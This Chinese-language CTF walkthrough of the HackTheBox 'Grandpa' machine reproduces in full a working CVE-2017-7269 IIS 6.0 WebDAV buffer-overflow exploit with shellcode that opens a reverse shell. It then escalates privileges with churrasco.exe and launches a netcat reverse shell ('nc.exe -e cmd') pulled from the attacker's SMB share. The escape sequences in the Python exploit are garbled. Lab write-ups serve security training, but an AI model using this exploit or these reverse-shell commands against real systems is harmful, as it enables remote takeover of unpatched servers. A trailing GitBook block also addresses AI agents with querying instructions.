> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md).

# Grandpa HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Grandpa>" %}

{% hint style="warning" %}
**技能：**

* Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' 远程缓冲区溢出（RCE）
* 令牌劫持 - Churrasco（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/96523996b9cf103f6db69d8f60fc57bbdd751e59" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/3cf70e5ed73ab8df5f216fa8e7c2b09e8355030c" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 搜索开放端口：80**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.14 -oG allPortsbash
```

<figure><img src="/files/c4b8008a7978d0f789f8c5ccec31e40de8c9c261" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

```bash
nmap -sCV -p80 10.10.10.14 -oN targeted
```

<figure><img src="/files/7969c579393ba10e8bc8e20fe04eb548162b913c" alt=""><figcaption></figcaption></figure>

我们注意到该页面使用 **WebDAV** 底层为 **Microsoft-IIS 6.0**.

## WebDAV 利用 - Microsoft-IIS 6.0

**使用 Davtest 进行上传测试**

我们检查是否可以注入恶意文件：

```bash
davtest -url http://10.10.10.14
```

然而，每个扩展名都返回 **失败**，表明上传受到了限制。

<figure><img src="/files/344ee2a802e478bddd761ad831f49d19ad6f6882" alt="" width="563"><figcaption></figcaption></figure>

既然我们已经确认服务器运行着 **IIS 6.0**，我们正在利用一个 **缓冲区溢出** 于 2017 年发现。

<figure><img src="/files/2f5d74a1312f7a6b9f5afe270495143c991cf522" alt=""><figcaption></figcaption></figure>

下面是利用此漏洞获取 shell 的 Python 脚本：

{% embed url="<https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269>" %}

```python
import sys
import struct
import socket  

if len(sys.argv)<5:
    print '用法:iis6webdav.py targetip targetport reverseip reverseport/n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])

shellcode='/x55/x8B/xEC/x81/xEC/xDC/x05/x00/x00/x53/x56/x57/x8B/x45/x08/x8B'+/
' /x40/x78/x89/x85/xE4/xFA/xFF/xFF/x8B/x45/x08/x8B/x40/x70/x89/x45'+/
' /xFC/xC7/x85/xC8/xFC/xFF/xFF/x77/x73/x32/x5F/xC7/x85/xCC/xFC/xFF'+/
' /xFF/x33/x32/x2E/x64/xC7/x85/xD0/xFC/xFF/xFF/x6C/x6C/x00/x00/xC7'+/
' /x85/xD8/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/xDC/xFA/xFF/xFF/x74'+/
' /x61/x72/x74/xC7/x85/xE0/xFA/xFF/xFF/x75/x70/x00/x00/xC7/x85/x58'+/
' /xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/x5C/xFA/xFF/xFF/x6F/x63/x6B'+/
' /x65/xC7/x85/x60/xFA/xFF/xFF/x74/x41/x00/x00/xC7/x85/xE8/xFC/xFF'+/
' /xFF/x57/x53/x41/x43/xC7/x85/xEC/xFC/xFF/xFF/x6F/x6E/x6E/x65/xC7'+/
' /x85/xF0/xFC/xFF/xFF/x63/x74/x00/x00/xC7/x85/xA8/xFA/xFF/xFF/x69'+/
' /x6E/x65/x74/xC7/x85/xAC/xFA/xFF/xFF/x5F/x61/x64/x64/xC7/x85/xB0'+/
' /xFA/xFF/xFF/x72/x00/x00/x00/xC7/x85/x14/xFD/xFF/xFF/x68/x74/x6F'+/
' /x6E/xC7/x85/x18/xFD/xFF/xFF/x73/x00/x00/x00/xC7/x85/xF4/xFC/xFF'+/
' /xFF/x43/x3A/x5C/x57/xC7/x85/xF8/xFC/xFF/xFF/x69/x6E/x64/x6F/xC7'+/
' /x85/xFC/xFC/xFF/xFF/x77/x73/x5C/x73/xC7/x85/x00/xFD/xFF/xFF/x79'+/
' /x73/x74/x65/xC7/x85/x04/xFD/xFF/xFF/x6D/x33/x32/x5C/xC7/x85/x08'+/
' /xFD/xFF/xFF/x63/x6D/x64/x2E/xC7/x85/x0C/xFD/xFF/xFF/x65/x78/x65'+/
' /x00/xC7/x85/x18/xFB/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/x1C/xFB/xFF'+/
' /xFF/x69/x6E/x64/x6F/xC7/x85/x20/xFB/xFF/xFF/x77/x73/x5C/x73/xC7'+/
' /x85/x24/xFB/xFF/xFF/x79/x73/x74/x65/xC7/x85/x28/xFB/xFF/xFF/x6D'+/
' /x33/x32/x5C/xC7/x85/x2C/xFB/xFF/xFF/x63/x61/x6C/x63/xC7/x85/x30'+/
' /xFB/xFF/xFF/x2E/x65/x78/x65/x83/xA5/x34/xFB/xFF/xFF/x00/xC7/x85'+/
' /xE8/xFA/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/xEC/xFA/xFF/xFF/x49/x4E'+/
' /x44/x4F/xC7/x85/xF0/xFA/xFF/xFF/x57/x53/x5C/x49/xC7/x85/xF4/xFA'+/
' /xFF/xFF/x49/x53/x20/x54/xC7/x85/xF8/xFA/xFF/xFF/x65/x6D/x70/x6F'+/
' /xC7/x85/xFC/xFA/xFF/xFF/x72/x61/x72/x79/xC7/x85/x00/xFB/xFF/xFF'+/
' /x20/x43/x6F/x6D/xC7/x85/x04/xFB/xFF/xFF/x70/x72/x65/x73/xC7/x85'+/
' /x08/xFB/xFF/xFF/x73/x65/x64/x20/xC7/x85/x0C/xFB/xFF/xFF/x46/x69'+/
' /x6C/x65/xC7/x85/x10/xFB/xFF/xFF/x73/x5C/x63/x2E/xC7/x85/x14/xFB'+/
' /xFF/xFF/x65/x78/x65/x00/xC7/x85/xD0/xFA/xFF/xFF'+struct.pack('i',reverseport)+/
' /xE9/x3E/x04/x00/x00/x5F/x89/xBD/xB4/xFA/xFF/xFF/xE8/x4C/x04/x00'+/
' /x00/x89/x85/x24/xFA/xFF/xFF/x68/x53/xC0/x49/x9C/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/x5D/x04/x00/x00/x59/x59/x89/x85/x28/xFA/xFF/xFF/x68'+/
' /x5A/xC1/xCB/xC2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x45/x04/x00/x00/x59'+/
' /x59/x89/x85/x2C/xFA/xFF/xFF/x68/x1C/xC9/x05/xBA/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/x2D/x04/x00/x00/x59/x59/x89/x85/x30/xFA/xFF/xFF/x68'+/
' /x54/x34/x4F/xA2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x15/x04/x00/x00/x59'+/
' /x59/x89/x85/x34/xFA/xFF/xFF/x68/x12/x75/x1D/x45/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/xFD/x03/x00/x00/x59/x59/x89/x85/x38/xFA/xFF/xFF/x68'+/
' /xE9/x65/x73/x1B/xFF/xB5/x24/xFA/xFF/xFF/xE8/xE5/x03/x00/x00/x59'+/
' /x59/x89/x85/x3C/xFA/xFF/xFF/x68/x3A/xFD/xFB/x1E/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/xCD/x03/x00/x00/x59/x59/x89/x85/x40/xFA/xFF/xFF/x68'+/
' /xBD/x50/xD7/x2D/xFF/xB5/x24/xFA/xFF/xFF/xE8/xB5/x03/x00/x00/x59'+/
' /x59/x89/x85/x44/xFA/xFF/xFF/x68/xEF/x60/x08/xE7/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/x9D/x03/x00/x00/x59/x59/x89/x85/x48/xFA/xFF/xFF/x68'+/
' /x83/x94/x7B/x10/xFF/xB5/x24/xFA/xFF/xFF/xE8/x85/x03/x00/x00/x59'+/
' /x59/x89/x85/x4C/xFA/xFF/xFF/x68/x49/x17/x55/xC0/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/x6D/x03/x00/x00/x59/x59/x89/x85/x50/xFA/xFF/xFF/x68'+/
' /xD9/xE5/x1A/x06/xFF/xB5/x24/xFA/xFF/xFF/xE8/x55/x03/x00/x00/x59'+/
' /x59/x89/x85/x54/xFA/xFF/xFF/x8D/x85/xC8/xFC/xFF/xFF/x50/xFF/x95'+/
' /x28/xFA/xFF/xFF/x89/x85/x1C/xFD/xFF/xFF/x83/xBD/x1C/xFD/xFF/xFF'+/
' /x00/x0F/x84/x39/x01/x00/x00/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D'+/
' /x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4'+/
' /xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x64'+/
' /xFA/xFF/xFF/x00/xEB/xDA/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D/x8B'+/
' /x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4/xFA'+/
' /xFF/xFF/x10/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x20/xFD'+/
' /xFF/xFF/x00/xEB/xDA/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA'+/
' /xFF/xFF/x50/x6A/x00/x6A/x00/x6A/x04/x6A/x00/x6A/x00/x6A/x00/x6A'+/
' /x00/x8D/x85/x18/xFB/xFF/xFF/x50/xFF/x95/x34/xFA/xFF/xFF/xFF/xB5'+/
' /x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/x68/xE8/x03/x00/x00/xFF'+/
' /x95/x54/xFA/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x40/xFA/xFF'+/
' /xFF/xC7/x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xFA/xFF/xFF/x8B/x85/xA0/xFA/xFF/xFF/x89/x85/x9C/xFA'+/
' /xFF/xFF/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA/xFF/xFF/x50'+/
' /x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x85/xE8/xFA'+/
' /xFF/xFF/x50/x6A/x00/xFF/x95/x34/xFA/xFF/xFF/x6A/x01/xFF/x95/x38'+/
' /xFA/xFF/xFF/xE8/xBD/xFB/xFF/xFF'+struct.pack('16s',reverseip)+'/x5F/x5E/x5B/xC9/xC3/x64/xA1/x18'+/
' /x00/x00/x00/x8B/x40/x30/x33/xC9/x8B/x40/x0C/x8B/x40/x1C/x8B/x00'+/
' /x8B/x50/x20/x66/x83/x7A/x10/x2E/x74/x06/x41/x83/xF9/x02/x7C/xEE'+/
' /x8B/x40/x08/xC3/x55/x8B/xEC/x53/x56/x57/x8B/x7D/x08/x83/x65/x08'+/
' /x00/x8B/x47/x3C/x8B/x44/x38/x78/x03/xC7/x8B/x70/x20/x03/xF7/x83'+/
' /x78/x18/x00/x76/x2A/x8B/x0E/x03/xCF/x33/xDB/x8A/x11/x84/xD2/x74'+/
' /x0B/x6B/xDB/x21/x0F/xBE/xD2/x03/xDA/x41/xEB/xEF/x3B/x5D/x0C/x74'+/
' /x15/x83/xC6/x04/xFF/x45/x08/x8B/x4D/x08/x3B/x48/x18/x72/xD6/x33'+/
' /xC0/x5F/x5E/x5B/x5D/xC3/x8B/x48/x24/x8B/x55/x08/x8B/x40/x1C/x8D'+/
' /x0C/x51/x0F/xB7/x0C/x39/x8D/x04/x88/x8B/x04/x38/x03/xC7/xEB/xE1'
shellcodelen = 1744

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: %d/r/n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='/xe6/xbd/xa8/xe7/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e6/b1/84/xe5/89/96/xe4/ac/b7/xe6/b1/ad/xe4/bd/98/xe5/a1/9a/xe7/a5/x90/xe4/a5/aa/xe5/a1/8f/xe4/a9/92/xe4/85/90/xe6/99/8d/xe1/8f/80/xe6/a0/83/xe4/a0/b4/xe6/94/b1/xe6/bd/83/xe6/b9/xa6/xe7/91/81/xe4/8d/ac/xe1/8f/80/xe6/a0/83/xe5/8d/83/xe6/a9/81/xe7/81/92/xe3/8c/b0/xe5/a1/a6/xe4/89/8c/xe7/81/8b/xe6/8d/86/xe5/85/xb3/xe7/a5/81/xe7/a9/90/xe4/a9/ac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='/xe7/a5/88/xe6/85/xb5/xe4/xbd/x83/xe6/bd/a7/xe6/ad/af/xe4/a1/85/xe3/99/86/xe6/9d/b5/xe4/90/b3/xe3/a1/b1/xe5/9d/a5/xe5/a9/a2/xe5/90/b5/xe5/99/a1/xe6/a5/92/xe6/a9/x93/xe5/85/97/xe3/a1/8e/xe5/a5/88/xe6/8d/95/xe4/a5/b1/xe4/8d/a4/xe6/91/b2/xe3/91/a8/xe4/9d/98/xe7/85/xb9/xe3/8d/ab/xe6/ad/95/xe6/b5/88/xe5/81/8f/xe7/a9/86/xe3/91/b1/xe6/bd/94/xe7/91/83/xe5/a5/96/xe6/bd/a7/xe7/8d/81/xe3/91/97/xe6/85/a8/xe7/a9/b2/xe3/9d/85/xe4/b5/89/xe5/9d/8e/xe5/91/88/xe4/b0/b8/xe3/99/ba/xe3/95/b2/xe6/89/xa6/xe6/b9/83/xe4/a1/ad/xe3/95/88/xe6/85/xb7/xe4/b5/9a/xe6/85/xb4/xe4/84/b3/xe4/8d/a5/xe5/89/b2/xe6/b5/a9/xe3/99/b1/xe4/b9/a4/xe6/b8/b9/xe6/8d/93/xe6/ad/a4/xe5/85/86/xe4/bc/b0/xe7/a1/xaf/xe7/89/93/xe6/9d/90/xe4/95/x93/xe7/a9/a3/xe7/x84/x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6/a0/81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>/r/n/r/n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)  
print data 
sock.close
```

#### 我们正在监听 443 端口：

```bash
rlwrap nc -nvlp 443
```

#### 然后我们启动该利用程序：

```bash
python2 iis6webdav.py 10.10.10.14 80 10.10.14.32 443
```

<figure><img src="/files/510caf780b158b3b72fd6e7f2a888531005c7451" alt=""><figcaption></figcaption></figure>

## 权限提升

### 内核利用 - Windows Server 2003 <a href="#windows-server-2003-kernel-exploitation" id="windows-server-2003-kernel-exploitation"></a>

通过运行 `systeminfo` 通过该命令，我们发现目标设备运行在 **Windows Server 2003**，一种过时且易受攻击的操作系统：

```bash
systeminfo
```

<figure><img src="/files/56ce77b0643273a0fa28d19ff2e39b4e011f6b22" alt=""><figcaption></figcaption></figure>

此外，我们拥有该权限 **SeImpersonatePrivilege**，这使我们可以尝试使用众所周知的技术来提升权限。

<figure><img src="/files/ea75d9fbb93051d0edcf3af85b82fc4489f0963d" alt="" width="542"><figcaption></figcaption></figure>

#### 使用 churrasco.exe

为了利用此漏洞，我们将使用 **churrasco.exe**，一个用于获取 SYSTEM 权限的利用程序。

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Windows 文件传输（SMB）/*/*

> 我们使用 **smbserver.py** 来共享一个包含漏洞利用文件 40627.exe 的目录。然后将该文件复制到目标机器上。

```bash
smbserver.py share $(pwd) -smb2support
```

在目标机器上，我们将利用文件复制到了当前目录：

```bash
copy //10.10.14.32/share/churrasco.exe churrasco.exe
```

<figure><img src="/files/9b8d50cb8c913830f48db9b7ecc7849f809326c4" alt=""><figcaption></figcaption></figure>

然后我们可以用这个二进制文件执行任意命令，例如：

```bash
./churrasco.exe "whoami"
```

如果利用程序正常工作，我们应该看到 **NT AUTHORITY/SYSTEM**.

<figure><img src="/files/26191d776e6422bf2341a199ad3a69506d0a14c3" alt=""><figcaption></figcaption></figure>

**建立反向 Shell**

为了建立反向 Shell，我们监听 443 端口：

```bash
rlwrap nc -nvlp 443
```

我们再次使用 **nc.exe**

```bash
smbserver.py share $(pwd) -smb2support
```

重新创建一个 SMB 服务器。

```bash
./churrasco.exe "//10.10.14.32/share/nc.exe -e cmd 10.10.14.32 443"
```

<figure><img src="https://hacking-notes.jord4n.pro/~gitbook/image?url=https%3A%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252FRaA9kpHORb6mFkNBY8y3%252Fimage.png%3Falt%3Dmedia%26token%3D2630db08-863a-4117-ba41-f4df998ec28d&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=c4b6d470&#x26;sv=2" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/8132a176c1bf394450299d2a288da43438653d46" alt="" width="563"><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/2b01db3c1c04692195254bd406bfd5b78014883f" alt="" width="496"><figcaption></figcaption></figure>

<figure><img src="/files/1eb9d26cb72ffc7b9a887d38062947ecee101792" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
